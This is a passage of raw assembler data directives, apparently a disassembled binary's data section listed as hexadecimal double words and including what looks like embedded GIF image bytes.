0D51550D5h dd 52D52551h, 454ED535h, 9A6554D5h, 7E0689ABh, 0F4F19898h dd 125D3B8Fh, 7287D07Ah, 3B1786E0h, 86B86AB0h, 5ED5E55Dh dd 55FD5F5h, 0D61560D6h, 62D62561h, 4563D635h, 565564D6h dd 356355Dh, 0D87286E3h, 957D4A87h, 6586D1EAh, 0B8638620h dd 0D6D063D6h, 6ED6E56Dh, 64D6D5h, 0D71570D7h, 72D72571h dd 2864D735h, 0D7557486h, 75576575h, 85778625h, 579578D7h dd 7AD6F578h, 0C18556EDh, 0BB517ED7h, 981DFE7Dh, 7706D17Ch dd 81AD8A60h, 0D59103D5h, 9B87A0B4h, 5584D842h, 18915B58h dd 4C0B31D6h, 9588D859h, 14F589D8h, 81130956h, 2BECD1BDh dd 0AB4925D8h, 8FD8F58Eh, 1061335h, 8F613ED9h, 8D907D81h dd 5591B84Dh, 271595D9h, 3C596591h, 0A58CD929h, 92E59441h dd 2CD9B59Ah, 0C90B5935h, 0D9E59BD1h, 9EC8559Eh, 0F9285A05h dd 5A25A0D9h, 0A2DA1924h, 391EDA45h, 5A65A4DAh, 0A6DA5918h dd 7913DA85h, 5AA5A8DAh, 0AADA990Dh, 0CD915AC5h, 0D9A10F59h dd 95AF5ACh, 502D1201h, 7A07C82h, 0B3DAFD87h, 0A0781055h dd 2507C87h, 0D6AB882Dh, 702D0388h, 0AA35B202h, 0BBDBB597h dd 0D5BCDBC5h, 5BE5BDDBh, 0B5878D90h, 882D0275h, 38AE103h dd 7E027032h, 45695B20h, 1025C5DBh, 7E07C961h, 18320270h dd 838A1A5Ch, 750D8A4h, 0D5CC9F35h, 0DCE5CDDCh, 0CFDCF5CEh dd 15D0DD05h, 0DD25D1DDh, 0DD35D2FEh, 0D4DD45D3h, 0DD071F0Dh dd 5C98A0D0h, 275C35CAh, 0A0250A50h, 0DDB5DADDh, 0DCDDC5DBh dd 0E5DDDDD5h, 0DDF5DEDDh, 0E0DE05DFh, 25E1DE15h, 0DE35E2DEh dd 0E4DE45E3h, 65E5DE55h, 0DE75E6DEh, 0E8DE85E7h, 8DD95E05h dd 5C25D7DCh, 0EC82D034h, 0E5EDDEA5h, 0DEF5EEDEh, 0F0DF05EFh dd 25F1DF15h, 0DF35F2DFh, 0F4DF45F3h, 65F5DF55h, 0DF75F6DFh dd 0F8DF85F7h, 0A5F9DF95h, 0DFB5FADFh, 0B75ECDF3h, 0E2E15EB5h dd 5CADCA83h, 0E00034h, 2601E016h, 0E03602E0h, 4E04603h dd 6605E056h, 0E07606E0h, 8E08607h, 0A609E096h, 0E0B60AE0h dd 0CE0C60Bh, 0E60DE0D6h, 60660EE0h, 10DFE5FFh, 2611E116h dd 0E13612E1h, 14E14613h, 6615E156h, 0E17616E1h, 18E18617h dd 0A619E196h, 0E1B61AE1h, 1CE1C61Bh, 0E61DE1D6h, 0E1F61EE1h dd 20E2061Fh, 2621E216h, 0E23622E2h, 24E24623h, 6625E256h dd 397626E2h, 0E28627E2h, 29E29628h, 0B62AE2A6h, 0E2C62BE2h dd 2DE2D62Ch, 0F62EE2E6h, 0E3062FE2h, 31E31630h, 3632E326h dd 0E34633E3h, 35E35634h, 7636E366h, 0E38637E3h, 808A1E38h dd 3B0000h, 38464947h, 21D6137h, 0E700A4h, 10000h, 401h dd 7000805h, 0C08020Ah, 60E0B04h, 0E070F0Ch, 110F0910h dd 0C12100Ah, 130E1412h, 1B150D15h, 0C1C160Fh, 1B0E1F1Ah dd 221D0F20h, 14241F12h, 22152621h, 2C271927h, 1C312816h dd 2C1A2E29h, 382E1D35h, 213A301Eh, 34223C32h, 4238273Eh dd 24443B29h, 4021473Eh, 5144254Eh, 2B534627h, 4C2E574Ah dd 5B4E2F5Ah, 37605334h, 57346355h, 6D5A366Ah, 35705D39h dd 603D7362h, 76643773h, 3C786639h, 6B3E7B69h, 7E6C3F7Dh dd 43806E41h, 72458270h, 8B744284h, 44867447h, 78468E76h dd 89725F90h, 5A897459h, 7D4B8A75h, 8F7A5F94h, 6297804Eh dd 8351927Dh, 9C84529Ah, 33958065h, 8654CA8Ah, 91816A9Eh dd 5597806Dh, 826C9F87h, 677C9093h, 3FA18957h, 8758BC8Fh dd 0A38B59CBh, 54B8913Eh, 8670AA8Ch, 97857697h, 54A58D5Bh dd 8872A68Fh, 0DB8A5699h, 73AD8F58h, 92509A89h, 0AE9059AEh dd 41DD8C58h, 9553FF91h, 0B2945DB1h, 7EB39755h, 8F789F8Dh dd 0A79468A0h, 52FF9646h, 9957FE93h, 0B69A58B5h, 7BBC995Bh dd 9C5BB093h, 0F69854B9h, 78A6957Eh, 9E5DA797h, 0A7967FBAh dd 5EA89586h, 9A59BC9Fh, 0A99881FFh, 60FF9E50h, 9C5BBEA1h dd 0AA9982FFh, 69C8997Ch, 9C66E89Ch, 0BAA270FCh, 8DFFA160h dd 9D91AF9Ch, 0D7A27FAAh, 97FEA46Dh, 0A965B0A2h, 0FFA76FFFh dd 66C9A97Bh, 0AA70FFAAh, 0B3A69AFDh, 75C1AF7Ah, 0ADA1FFAEh dd 0CDAD9EBAh, 98FFB280h, 0AEA3CEB0h, 0B7AFA7C8h, 6FDCB392h dd 0B78FFEBAh, 0DDB493C5h, 8BDEB594h, 0B3A8FEB5h, 0FFB984C1h dd 96FEBC8Eh, 0BBB2FEBAh, 0FFBF91C3h, 0B6C5BCB4h, 0C1A5C7BFh dd 0FEC29AE6h, 0A2FFC49Dh, 0C6A4F7C7h, 0F7C6A9FDh, 0BECDC5BDh dd 0C7BFCFC6h, 0FFCAA8D0h, 0ADFDCE9Fh, 0CDA7FCCAh, 0D2CAC1FDh dd 0A9FECCB0h, 0CFB2FFCFh, 0FCD0B8FFh, 0BAD8D0C8h, 0D5B4FFD2h dd 0FFD6B6FFh, 0C2DDD5CCh, 0D8BCFCD5h, 0F8DBBAFDh, 0CFFFDCB7h dd 0DAC2E0D8h, 0DBD9D4F9h, 0D2FFDAC6h, 0DACBE2DAh, 0E4DBD3FCh dd 0C6E5DCD4h, 0DDD8FDDEh, 0F9E1C5E0h, 0DAE8DFD7h, 0E3C7E2DFh dd 0E3E0DBFBh, 0D8FBE2CEh, 0E2D9E9E1h, 0F8E3D4EAh, 0CBE5E3DDh dd 0E4DFFFE7h, 0FAE7CFE6h, 0D6FAE4DCh, 0E5E0FAE6h, 0FBE7D7E8h dd 0EAE9E6E1h, 0E5E1E3E4h, 0DDE4EDF5h, 0E2F0E7DFh, 0E6E2EAE7h dd 0F6E8DCF6h, 0E3EBE8E3h, 0E9E4F7E7h, 0F8E8E4ECh, 0E0EDEAE5h dd 0ECE6FAECh, 0F5EBEAEEh, 0DCEFEDE7h, 0EEE5FDF0h, 0F2EFEAF7h dd 0E4F3F0EBh, 0F3DFFFF1h, 0FAF1E9FFh, 0EDF4F1ECh, 0F1F0F5F2h dd 0F6F3EEFBh, 0F1F7F5EFh, 0F6F9F9F7h, 0FBF8F3FBh, 0F7FCF9F4h dd 0F8FAF6F9h, 0FDFAF5FCh, 0F6F7F8FEh, 0FBF9FEFBh, 0F9FCFAF8h dd 0FBFFFDF7h, 0FCFEFAFDh, 0FFFEF8FFh, 0FCFBFDFFh, 0FFFEFBFFh dd 2CFCh, 21D0000h, 80000A4h, 87F00FEh, 20B0481Ch, 9C3F2741h dd 0B0C2C138h, 5C8643A1h, 489C4A22h, 8B996231h, 0DC6A3318h dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 5162730Fh, 0CFA0D098h dd 2A79039Fh, 61B0A85Ch, 905C8851h, 512A5CDEh, 50A7D3A6h dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D30CA5C8h, 1A915FAFh dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh dd 0BF7DC3E1h, 91B3949Eh, 8E395631h, 38C6469Dh, 0BDE42AB9h dd 0D1972B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0E58B0E2h dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh dd 341CA028h, 806060h, 3406408h, 10043180h, 18016DC3h dd 116D8257h, 85E1680Eh, 21A86618h, 704C2C7Fh, 6C6E18C3h dd 2A034311h, 681C7FCh, 5C68401Ch, 0B8B19085h, 0C6308BE1h dd 0C98CE328h, 6DC57029h, 0DFE0203Fh, 71540719h, 0AE1419C0h dd 448D2418h, 91E46916h, 43D00A03h, 20360E6Fh, 0C8360440h dd 0B604C3F1h, 240F125h, 44C1CA37h, 56405200h, 0A1900245h dd 40080F0h, 1CA5D068h, 8060CC01h, 0D59004h, 0CC0F0081h dd 180C9BA0h, 0C8181C8h, 26E1CA43h, 0A8B6729Ch, 40104A6h dd 488BA15Ah, 0A1E86A16h, 2B79E88h, 91B83102h, 0C404005Bh dd 90D86B0h, 1301192Ch, 8220A5B5h, 51CA7806h, 40260182h dd 72068316h, 1241509Ch, 0C221606Eh, 30722D05h, 72FE0FC6h dd 0D0080ECh, 0C090DC6Bh, 0C071B90Eh, 742B1C82h, 0B4ACA430h dd 9A2B8ADAh, 22EAC2AEh, 0AB2689A1h, 0F6CCB2ECh, 90102D6h dd 0D82A078h, 4298B64Bh, 206C2D6Dh, 42130A47h, 250DC186h dd 3990090h, 99003830h, 6036A108h, 8676D44h, 90AC22D0h dd 6D42D069h, 0DB7A902Fh, 216C061Ah, 0AC061607h, 0F2855B51h dd 6F6BD2h, 6799A2F0h, 0AC2708B3h, 0EC6BA170h, 70842C0h dd 8B42E004h, 85B1CA59h, 445D8Eh, 4C0819D9h, 1A0F6ACAh dd 5A4B03Fh, 86464037h, 0F08C340Dh, 4240A0C0h, 0B5174076h dd 6E007175h, 1B505433h, 2C1A7D05h, 0CF31CBC7h, 3ACB668Ch dd 0D0F0B8B7h, 231D1744h, 0D03C2619h, 0B990A3A2h, 0B006E151h dd 176A40D6h, 0C211C806h, 0E0829E09h, 0C4640186h, 1D04006Ah dd 0A0C3F0A0h, 282A0A14h, 1D981D6Eh, 0A342AF80h, 0FFD936A9h dd 0DCF46C1Eh, 5F9DD774h, 0CC28317h, 0A16FE19h, 8034640h dd 0ABB07872h, 5026EA1Ch, 0FC069685h, 0F1CB4A0h, 0DC3310C0h dd 0B7A02990h, 801C6B6Eh, 1C576D45h, 92CEAFE0h, 0B2307A3Fh dd 0FA2E8776h, 501DE0E8h, 2C636430h, 0B50BC01Eh, 0D341E0A9h dd 4010EC0Dh, 40781C96h, 68136D41h, 0B5CFFAF0h, 1CB900C1h dd 0D90C4C1Ch, 46DC100Fh, 61B5BD83h, 0C1CEA0B0h, 0DB7C46D7h dd 0FA4D07D0h, 4F57D4F4h, 0A80B0A5Ch, 671AC550h, 0D41B0F4h dd 0C370222Dh, 902C351Ah, 28236D44h, 19871A0h, 0AFEC894h dd 42205590h, 10B86317h, 243DF471h, 120FEB40h, 79B5F08h dd 0C0DB20Fh, 0FCA15776h, 0D17FAFEDh, 0A210C033h, 3A06BD60h dd 0C3C681F0h, 60040200h, 0B0C0C00h, 4048264Dh, 0BA702C00h dd 5C400424h, 81D990h, 857726h, 170A2B54h, 2A008010h, 11DF8330h dd 0B80B4DE8h, 0E0D66D96h, 66D5CD80h, 17F00D0Dh, 4300688Bh dd 4EF4A19h, 1E8C2AFEh, 0C4488704h, 320E81EAh, 115D3C1Eh dd 26C4C897h, 6788E7EEh, 9C07C130h, 5A2AC548h, 5C473E11h dd 0C8AED021h, 0F17A2EC5h, 0A30C608Bh, 0C648C718h, 8CF19A32h dd 1AA34C68h, 0AF15E3C9h, 708DE764h, 0E71CA38Ch, 0DA3AC748h dd 0CC788EF1h, 0C8F71EA3h, 0A7623EC7h, 0CAF1D58Dh, 0C8428059h dd 90F21A42h, 22A44C88h, 46C8C917h, 9091F23Ah, 2724A48Ch dd 5A4AC949h, 0CC9892F2h, 391526A4h, 0A744AE94h, 4818580Ch dd 0CA49460Fh, 94F29A52h, 2AA54CA8h, 56CAC957h, 0B095F2BAh dd 672CA58Ch, 0DA5ACB49h, 0CCB896F2h, 0C9772EA5h, 0F2FA5ECBh dd 0E584C097h, 9C80B040h, 7E578E4h, 3E47E0FCh, 668F61F2h dd 0D099F33Ah, 0A734A68Ch, 5A6ACD49h, 0CCD89AF3h, 0C9B736A6h dd 0F37A6ECDh, 0A70CE09Bh, 0CE49C738h, 9CF39A72h, 3AA74CE8h dd 64CCB9B1h, 0C693C0FEh, 0E932A50Ch, 0D8788F41h, 0FEF89EF3h dd 0F73EA7CCh, 0FA7ECFC9h, 0D009FF3h, 4A0740A8h, 0F41A82D0h dd 0A84D08A0h, 0D0CA1742h, 0A1F43A86h, 44A88D10h, 7A501A27h dd 3F1F83E6h, 0CA72A620h, 0D47C9080h, 0D201E13h, 4A4748A9h dd 0F49A92D2h, 0A94D28A4h, 0D2CA574Ah, 0A5F4BA96h, 4CA98D30h dd 9AD34A67h, 38A6F4DAh, 774EA9CDh, 0B69ED3CAh, 0C8F41E34h dd 598A4247h, 0A1382E1Ch, 7851E07h, 0D4CA9745h, 0A9F53AA6h dd 54AA8D50h, 0AAD54AA7h, 0F0A0B55Ah, 9C0F6A08h, 70E505C0h dd 0B03D07E1h, 7A943C47h, 0F59AB2D5h, 0AB4D68ACh, 0D6CAD75Ah dd 0A9540EB6h, 3BC1E8F6h, 0B1560ABDh, 78ADD592h, 0F75EABCDh dd 0FABED7CAh, 9570AA75h, 0F393576Bh, 0F58EB0D5h, 0AC4D88AFh dd 0D8CB1762h, 0B035A2C6h, 5D6C2573h, 0CAD8EB0Fh, 98B2F65Ah dd 21666CCDh, 14E3583Bh, 0D9AAED6h, 4B4768ADh, 954AD2DAh dd 0EC3574B3h, 0DACB4D5Dh, 0B5F6BAD6h, 6CFE3DB0h, 0D9EB235Ch dd 0B636AEC9h, 6EADCDB8h, 0D4579B77h, 0BCB5564Ah, 8770AE0Dh dd 0FAA75C4Bh, 2DC0B6B6h, 0CB9772AEh, 0F3FAE6DCh, 0ADB545B8h dd 0DD4BA773h, 0BA16F2EAh, 652CF9C4h, 0EEDDCBADh, 0F1B3777Ah dd 0A3676D98h, 9AEFDC9Bh, 0DDE8BCF7h, 0A383762Bh, 0F7A6DBDDh dd 0EF8DF0BDh, 0D82BC369h, 0BE5682D4h, 7EAFCDF8h, 0E05EBA21h dd 0BF77B4h, 380B00Eh, 0FCDFDFDAh, 4E08C077h, 0EC0B80B0h dd 0F82B039Bh, 2F7E10C1h, 0E0E37B83h, 0C2F85B08h, 6EB09DD5h dd 0EE18C2Ah, 1AB8787Bh, 3F870DCEh, 0BF12E24Ch, 19B8C436h dd 0CC5789B1h, 0F8A2CD62h, 67EE2A36h, 366B5A00h, 0C6D8CE7Dh dd 8DDB7D0Dh, 836359F1h, 12C7F8DEh, 856631DDh, 0B72250ECh dd 0B62FA978h, 39F78C4Dh, 566B2363h, 0B22646C8h, 0E51A0F93h dd 0C78A067Bh, 96720509h, 29D52C99h, 5CCBD3FFh, 8F982B3Eh dd 0D724CFCCh, 1E38C966h, 0A165FE73h, 0A878E61Ch, 0B655A079h dd 2C7D9C67h, 0F93A8567h, 73C50FCDh, 66ECF53Eh, 0CC99F2B4h dd 6FEFADB2h, 26D01BEFh, 6ECAF963h, 0B18E1416h, 0F744689Ch dd 7675CAD9h, 5D1595B4h, 19F74867h, 0F45E3DD1h, 0E8DD2D9Eh dd 0D2F9B31Dh, 9BF45E52h, 4AE91D3Fh, 72D29957h, 23A674A6h dd 4355E92Dh, 0FE4DD51Ah, 0DD67AAB1h, 0BACB5A6Ah, 31B686D6h dd 0E8FD1BAAh, 0D63A5B4Eh, 0AEB5B650h, 4AEC0D1Dh, 0A6D19A4Fh dd 53A27586h, 9AE6692Dh, 46683219h, 8D3DA7B6h, 0FA97636Ch dd 0B66E8CD7h, 6C9CB5B5h, 0DBDAF74Eh, 0B636A69Bh, 51677D7Fh dd 0E8D5FA17h, 0C594747Eh, 0B33BE9FDh, 26A9DABBh, 0DDB9B7B7h dd 0DBCF6CEEh, 77AEDAD8h, 65ADBFBCh, 0DADB6F62h, 0B5F65EF7h dd 5CF03D8Fh, 0CEDFFB77h, 0A21CB67Dh, 237169CDh, 0D708DA5Ch dd 0CDABA6B7h, 0DA6F7E6Dh, 0B756A49Fh, 36FC99BDh, 0DAF8CB70h dd 0C5B806FDh, 0EE5E47FEh, 0E25C8B71h, 0C9780F24h, 8BF1EE53h dd 28DC7C67h, 35CAF96Fh, 87906A6Eh, 867FE339h, 0FE19C2ADh dd 7B339A6Dh, 0F88EF8D7h, 0F17E39C6h, 0D57A4F9Ah, 0D0B9C66Ah dd 8C713CDBh, 73E69CDBh, 55D4B9F6h, 5789B6AEh, 0EF1DE25Ch dd 3EABBE39h, 9D5F61F2h, 787EAAC7h, 0F63CA7B3h, 0EAFC87A1h dd 0D03A3F61h, 0E973BB95h, 0FC75402h, 0A5C3B8FFh, 2FA2715Eh dd 2F2DE45Dh, 0DE8DCB3Ah, 3DCB7874h, 0FBD721DDh, 77BEB5D7h dd 0EB1CA27Eh dd 0D3386F4Ch, 5EF83E57h, 0FEE01E07h, 0A9DCF196h, 3B74F94Dh dd 6DD4EE3Eh, 3E9D797Bh, 5B87C274h, 78FF9DE5h, 749CBDE1h dd 0EF5DDF8Ah, 0E0353F7Dh, 937A0EF9h, 0ADF3DE9Bh, 15CCFBBFh dd 8FDAF56Fh, 2F25F59Eh, 0CE0DD77Dh, 7E63BA7Bh, 0B4279ABAh dd 701F3FE8h, 0D31DEFE2h, 0E37B3786h, 0D8FC9F61h, 7BF13F23h dd 0DFBCF97Eh, 0E3C3F5ADh, 0C7D2F23Dh, 0FE27EBFEh, 6BE57B2Fh dd 9F02F9FAh, 4F4FEE36h, 0DCE3C575h, 0BAEFE0E1h, 5B4BE9B3h dd 0F9BF0AF2h, 0F0F9FFC6h, 0A9F47FE5h, 53D71D83h, 0D5EEB577h dd 0E3FB7F7Eh, 6DAFA3Dh, 7517D46Eh, 656C46D3h, 0C6AE6BB7h dd 6BE7736Ah, 0E7F46CCh, 0E7F56C28h, 6577BC6Eh, 0D2750805h dd 0A6F96B06h, 6A17406Ch, 90814714h, 15CB8087h, 5505DB7Ch dd 41680739h, 58255A16h, 6167F364h, 4D5EE822h, 98268295h dd 7D259667h, 1E7A4551h, 83582D6h, 82A83183h, 5D76B833h dd 861D7766h, 84383B83h, 4256D844h, 98488458h, 84755684h dd 4E84D84Ah, 0F84C54C8h, 85385284h, 5485150Ch, 28588578h dd 85985650h, 0F885D85Ch, 185E85B4h, 86085886h, 4F865862h dd 98668648h, 86884886h, 3186D86Ah, 186E86C8h, 87062D87h dd 24875872h, 98768746h, 87861787h, 0A87D87Ah, 187E87C6h dd 88060188h, 0F8885882h, 86FE8845h, 85E98898h, 88D88A88h dd 8E88C5DEh, 0C7998918h, 5D95E37Eh, 9889276Eh, 98905F18h dd 62089C89h, 235F6894h, 0C8A289D8h, 8A389B5Dh, 9F73A8A6h dd 78A16838h, 76C8AC8Ah, 0EF5C88A9h, 28B28AD7h, 8B38A55Ch dd 0B55988B6h, 0D8BA8B78h, 8BB8B958h, 0BD5888BEh, 0A8C28BF8h dd 7EE8AF5Eh, 0C88C38ABh, 68C58B88h, 8C979B89h, 0C15968CEh dd 58D28CF8h, 8D38D156h, 0CB5808D6h, 78975EC8h, 57D8DC8Dh dd 0E08DD8D5h, 18DF5148h, 50F8E48Eh, 0E88E58E3h, 98E750A8h dd 8ED53E50h, 0F08EF8EEh, 156F5358h, 8F58F48Fh, 7A8F48F6h dd 65588EB5h, 8FD0FF4Fh, 8FF8FEh, 39029019h, 90590490h dd 8907906h, 0B90A9099h, 90D90C90h, 1F8FD90Eh, 0C4F65CF5h dd 91590F0Fh, 18917916h, 0B91A9199h, 0FC8FD91h, 0FA56E911h dd 60F45058h, 0CB0DB0Fh, 0CB9260C9h, 0B92A9290h, 92A92C92h dd 3092F0C9h, 3293FE19h, 59349339h, 93793693h, 2C93992Dh dd 0D93C9379h, 93F93E93h, 4293A93Eh, 0F0CB9289h, 91E0DF0Ch dd 0E14F4500h, 0D0CF0D10h, 94F0D194h, 50951950h, 40D10D29h dd 95595695h, 5A957958h, 0B95C9599h, 95D95E95h, 6295F960h dd 39649619h, 96596696h, 67967968h, 296C9529h, 0E10D695h dd 784F50F8h, 75049215h, 7B0F90Fh, 7A03A03Ch, 0D97C97B9h dd 97F97E97h, 82981980h, 59849839h, 98798698h, 8A989988h dd 0B03C9899h, 0F70F907h, 0F64FD562h, 0F0879900h, 99705305h dd 9A999998h, 0C0480539h, 99D99E99h, 0A299F9A0h, 39A49A19h dd 9A59A69Ah, 0AA9A79A8h, 0B9AC9A99h, 9AD9AE9Ah, 0B29AF9B0h dd 89B499B9h, 8705F99h, 739760F7h, 0B5FE8D99h, 0F25578Dh dd 0A106D099h, 59C40A80h, 9C79C69Ch, 0CA9C99C8h, 0D9CC9CB9h dd 9CF9CE9Ch, 0D29D19D0h, 59D49D39h, 6D0A19Dh, 2E0F2099h dd 0F35638FEh, 0B08A0970h, 8D09109h, 0E40909E2h, 59E69E59h dd 9008B9Eh, 8D08B9E9h, 0F9ED0880h, 9F19EE9Eh, 0EA9ED9F0h dd 69EB9F59h, 9F79F89Fh, 0FC9F99FAh, 0D9FE9FB9h, 9FFA009Fh dd 4A01A02h, 8A06A03Ah, 0A099E79Fh, 8D9E29E4h, 0F09B0910h dd 0F509708h, 745669DBh, 0FA5029h, 0E407B05h, 1C4EB0FFh dd 0FA1EA1DAh, 0FF4DDA1h, 5007B0E4h, 44FC9710h, 660F70Fh dd 0AF0AA07Ch, 0AF0B30h, 0A31A300Bh, 34A33A32h, 7A36A35Ah dd 0A39A38A3h, 3CA3BA3Ah, 0FA3EA3DAh, 0A3BA40A3h, 0AA0AFA2Fh dd 706A0810h, 56C9720Fh, 0EA501A15h, 10FF0410h, 0A510DB97h dd 54A53A52h, 7A56A55Ah, 0A59A58A5h, 5CA5BA5Ah, 0FA5EA5DAh dd 0A61A60A5h, 0F80F4A60h, 0A0410FF0h, 4FC0FA0Eh, 750EC0FAh dd 20A70AB0h, 0B90BE0Bh, 740BB0BEh, 7A76A75Ah, 0A79A78A7h dd 7CA7BA7Ah, 0FA7EA7DAh, 0A81A80A7h, 0FEA83A82h, 71A7DA84h dd 70B20BEAh, 780AB0Ah, 46A690ECh, 0E6069BC8h, 845569Bh dd 0DF9930B1h, 90DD0DB0h, 0A9BA9AA9h, 9EA9DA9Ch, 1AA0A9FAh dd 0AA3AA2AAh, 0A6AA5AA4h, 9AA8AA7Ah, 0DBAA6AAh, 0B19900DFh dd 0AA8E0840h, 930FA4Fh, 0B50A60A0h, 60CA0CA0h, 0ABBABA0Eh dd 0BEABDABCh, 1AC0ABFAh, 0AC3AC2ACh, 0C6AC5AC4h, 9AC8AC7Ah dd 0AC7ACAACh, 0B50CA0E2h, 309E0A40h, 56BAB109h, 53500A4Bh dd 80F20E10h, 0E40E10Fh, 0DEADDADCh, 1AE0ADFAh, 0AE3AE2AEh dd 0E6AE5AE4h, 9AE8AE7Ah, 0AEBAEAAEh, 70AEBAECh, 30E10F29h dd 4F8AD305h, 0AB07A0F9h, 80E70AC0h, 0ED0E30Eh, 0FEAFDAFCh dd 1B00AFFAh, 0B03B02B0h, 6B05B04h, 9B08B07Bh, 0B0BB0AB0h dd 0E8B09B0Ch, 0C0E70E80h, 7A0AB0Ah, 0D5569AF3h, 0D0454FFAh dd 0FF0F20Dh, 1EB1D8F7h, 0F532B1FBh, 0DD0F20Fh, 0F6B15045h dd 90740F94h, 0FF0B30Ah, 0FFE00EFh, 30B2F0EEh, 3B32B31Bh dd 0B35B34B3h, 38B37B36h, 0BB3AB39Bh, 0B3DB3CB3h, 3DB3FB3Eh dd 30FF0EFBh, 740AB0Bh, 17567B26h, 0F0444FEBh, 91C0F00Dh dd 50B4FB4Eh, 4B52B51Bh, 0DF0F090h, 0F7B47044h, 20A40690h dd 0B5DB530Bh, 60B5FB5Eh, 90B9907Bh, 0B470690Ah, 0DA90A14h dd 4555A926h, 0A650E404h, 2001906h, 7B61B709h, 0B73B7290h dd 75915B76h, 40F8905Bh, 4FCB570Eh, 9F0690F6h, 990CB5C0h dd 0B848FDB7h, 4FB86B77h, 2904281Bh, 91BB88B7h, 0B2918B8Dh dd 0B6509F0h, 614B6892h, 47554B6Ah, 70FF0DF0h, 5285630Fh dd 9F523001h, 1521B20Bh, 535BA2BAh, 0A752EBA4h, 4BA952ABh dd 0F70F152h, 470DF0FFh, 0C0F4B470h, 0AE09C06h, 0A9BA8B9Ch dd 0A8F7BABBh, 0BBC53ABBh, 0BE520BA3h, 0D527BA5Bh, 9D0AFBAh dd 0D4B6606Ch, 761BB958h, 0F6552B9h, 1C0CF047h, 30E10E9Bh dd 0BD5BD4BDh, 1BFED3h, 0D6BD8BD4h, 0DBDCBDBBh, 0BDFBDEBDh dd 0E0BDABD5h, 5BE4BE3Bh, 0BE1BE6BEh, 0E7BD9BE7h, 9BDDBE2Bh dd 0CFB4D0Eh, 6CA27BB1h, 0AB0960h, 0E30E90Fh, 0FABF9BF8h dd 10E3BFBBh, 0BFABFD00h, 2BFCBFEh, 5C04C03Ch, 0C01BFCC0h dd 5C09C06h, 1C03C08Ch, 0C0AC0CC0h, 12C11C10h, 0BBEEBF9Ch dd 0BC70950Ah, 0A05E2B94h, 0E551A138h, 0FF0CBBCh, 0D90E10EDh dd 5C24C230h, 1C23C2h, 27C28C24h, 6C25282Ch, 0C2FC2636h dd 29C2E0D9h, 1C27C2CCh, 0C2B281C3h, 28C2AC37h, 0DC31C34Ch dd 0C37C33C2h, 35C2AC2Fh, 0BC3CC3DCh, 0C44C40C3h, 32C34C3Ah dd 9C38C32Ch, 0C4CC40C4h, 30C3BC36h, 0D0E1C25Ch, 0CB0FF0Eh dd 0B34FBBF1h, 0D0AB094Bh, 0DA0E30Eh, 62C61C60h, 10DAC63Ch dd 0C62C6500h, 66C60C66h, 6C63C643h, 0C61282C6h, 72C6AC69h dd 0FC6A281Ch, 0C74C73C6h, 75C76C70h, 1C7BC78Ch, 0C74C79C7h dd 0C69C7EFEh, 84C6DC82h, 0EC7AC65Ch, 0C87C82C6h, 88C71C7Fh dd 2C6CC7ECh, 0A4AFBC6h, 8FC18089h, 0C8AAC1AAh, 0F4550C1h dd 200C9047h, 0C96D0DFCh, 0D100196h, 0A394FCA1h, 0CA6CA4Ch dd 96DCA595h, 0ABCA3CA9h, 0CCA5CA4Ch, 0CAECA8CAh, 51CA2CB1h dd 5CB3CB09h, 0CA2CB8CBh, 0A7CB2CAFh, 4CB7281Ch, 0CC1CC0CBh dd 0C1CADCC0h, 9CAFCC4Ch, 0DF96DCAh, 590C9C56h, 0C0F84FACh dd 0A908906h, 0D40D7C5Eh, 7CD6CD5Ch, 10D7CDh, 0DBCDACD4h dd 0CCD5CDDCh, 0CDBCD8CDh dd 0E0CDCCE0h, 0FCE2CD9Ch, 0CE4CD6CDh, 0DECDECE3h, 9CE4CE5Ch dd 0CEBCD8CEh, 0F4CE6CE8h, 0ECE8CF3Ch, 0CECCE7CEh, 0F3CEFCF4h dd 1CF6281Ch, 0AFBCD6CEh, 9408309Fh, 2BCAA4ACh, 0C1DBCC62h dd 0EC0FFC9Bh, 0F94D0DD0h, 0D11D10D0h, 13D10001h, 5D15D0FDh dd 0D19D11D1h, 14D1894Dh, 0C0CFD1DDh, 0D16D17D1h, 20D1ED1Bh dd 2D22D23Dh, 0FE9D24D1h, 0D25D27D2h, 26D27D2Bh, 0CD2ED1CDh dd 0D1AD2CD2h, 0EC0DD94Dh, 7CCC0FF0h, 6C0F9B4h, 0EC09F086h dd 10D30DE0h, 0D43D42D4h, 10D3D44h, 8D47D410h, 0D42D4AD4h dd 4BD45D49h, 6D4DD4BDh, 0D52D4FD4h, 51D51D45h, 8D53D4CDh dd 0D43D5AD5h, 50D56D4Dh, 0ED5AD55Dh, 0D59D54D5h, 5CD61D5Fh dd 0ED4ED4EDh, 9C0EC0Dh, 0D4D05080h, 9629D07Ah, 0F9550D0h dd 0FF0C4047h, 30D90E90h, 192B94h, 2A36AD7Bh, 9D7A2819h dd 92DD7C92h, 86D82D83h, 0BD87D7FDh, 0D85D830Ch, 8DD89D8Ah dd 0CD7ED8ADh, 0D8BD8C92h, 94D8ED7Bh, 5D98D88Dh, 0D8E36FD8h dd 66D90D98h, 9D7AD963h, 0FF0E90Dh, 0F9CCD0C4h, 0F06C0F64h dd 0EB09807h, 0AE0CD0DCh, 1DB0DAFDh, 10CDDBh, 0B3DB4DAFh dd 8DB6DAEDh, 0DB0DB2DBh, 0BEDB7DB9h, 1DBFDBADh, 0DBCDB5DCh dd 0B5282DBCh, 0ADB3DBDDh, 0DB9DB236h, 0CEDB6DBDh, 9DC3DCBDh dd 3FE66DCh, 0DB1DC7DCh, 0CDDD1DCFh, 0CDBBDBBDh, 950EB0Dh dd 6AD6E07Dh, 44FCB495h, 0FF0C1D7h, 0C70D60E5h, 0BDEADE90h dd 1DEBDEh, 0ECDECDEDh, 